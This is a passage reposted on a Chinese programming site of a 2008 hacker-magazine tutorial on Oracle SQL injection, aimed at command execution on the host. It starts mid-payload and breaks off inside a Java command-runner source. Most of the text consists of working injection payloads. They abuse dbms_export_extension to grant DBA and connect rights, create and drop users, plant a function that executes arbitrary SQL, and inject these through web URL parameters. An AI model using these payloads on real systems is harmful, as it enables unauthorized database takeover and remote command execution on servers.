当前位置: 代码网 > 服务器>网络安全>企业安全 > 犀利的 oracle 注入技术

犀利的 oracle 注入技术

2009年06月09日 企业安全 我要评论
犀利的 oracle 注入技术犀利的 oracle 注入技术   原文发表在黑客手册   linx 2008.1.12   介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。   以下的演示都是在web上的sql plus执行... 09-06-09

||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
  确定漏洞存在:
  1<>(
  select user_id from all_users where username='linxsql'
  )
  给linxsql连接权限:
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  grant connect to linxsql'''';end;'';end;–','sys',0,'1',0) from dual
  删除帐号:
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  drop user linxsql'''';end;'';end;–','sys',0,'1',0) from dual
  ======================
  以下方法创建一个可以执行多语句的函数linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的user:
  1.jsp?id=1 and '1'<>(
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  create or replace function linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';end;'';end;–','sys',0,'1',0) from dual
  ) and …
  1.jsp?id=1 and '1'<>(
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''grant all on linx_query to public'''';end;'';end;–','sys',0,'1',0) from dual
  ) and …
  1.jsp?id=1 and '1'<>(
  select sys.linx_query('select 14554 from dual') from dual
  ) and …
  1.jsp?id=1 and '1'<>(
  select sys.linx_query('declare pragma
  autonomous_transaction; begin execute immediate ''
  select 1 from dual
  ''; commit; end;') from dual
  ) and …
  多语句:
  select sys.linx_query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual
  创建用户(除非当前用户有system权限,否则无法成功):
  select sys.linx_query('declare pragma
  autonomous_transaction; begin execute immediate ''
  create user linx_query_user identified by linx_query_user
  ''; commit; end;') from dual
  ================
  以下的方法是先建立函数linx_query(),再建立 runcmd2()
  1.创建函数
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  create or replace function linx_query (p
  varchar2) return number authid current_user is begin execute immediate
  p; return 1; end; '''';end;'';end;–','sys',0,'1',0) from dual;
  如果有权限,以下语句应该允许正常
  select sys.linx_query('select 1 from dual') from dual;
  不然的话运行:
  select sys.dbms_export_extension.get_domain_index_tables('foo','bar','dbms_output".put(:p1);execute immediate ''declare pragma autonomous_transaction;begin execute immediate ''''
  grant dba to 当前的user'''';end;'';end;–','sys',0,'1',0) from dual
  2.创建包
  select sys.linx_query('declare pragma
  autonomous_transaction; begin execute immediate ''
  create or replace and compile java source named "linxutil2" as import java.io.*;public class linxutil2 extends object {public static string runcmd(string args) throws ioexception{bufferedreader myreader= new bufferedre
(0)

相关文章:

  • 木马连接原理

    木马连接原理

    木马连接原理  正向连接木马,所谓正向,就是在中马者在机器上开个端口,而我们去连接他噶端口。而我们要知道距噶IP,先可以连接他。123就是他机器上开的端口  ... [阅读全文]
  • 高手支招:通过进程抓马

    高手支招:通过进程抓马

    高手支招:通过进程抓马 对于进程这个概念,许多电脑用户都没有给予太多关注。在很多人印象里,只知道结束进程可以杀死程序,至于哪些进程对应哪些程序,究竟什么样的进... [阅读全文]
  • 如何多开QQ游戏大厅

    如何多开QQ游戏大厅

    如何多开QQ游戏大厅用WinHEX打开QQ游戏目录Tencent\QQGame\common\Utility.dll文件   搜索3DB70000008BCE... [阅读全文]
  • 汗颜:黑客居然这样保护自己的电脑

    汗颜:黑客居然这样保护自己的电脑

    汗颜:黑客居然这样保护自己的电脑 看了你昨天的留言,我才知道原来木马可以用这么多方式传播呀。那我想问你一件事,常在河边走,哪有不湿鞋,你经常黑别人,难道就没有... [阅读全文]
  • 黑客教你7招秘籍入侵xp系统

    黑客教你7招秘籍入侵xp系统

    黑客教你7招秘籍入侵xp系统 第一招:屏幕保护   在Windows中启用了屏幕保护之后,只要我们离开计算机(或者不操作计算机)的时间达到预设的时间,系统... [阅读全文]
  • “回收站”使用技巧集锦

    “回收站”使用技巧集锦

    “回收站”使用技巧集锦 ★巧用“回收站”的“编辑”菜单   如果要删除“回收站”中的大... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com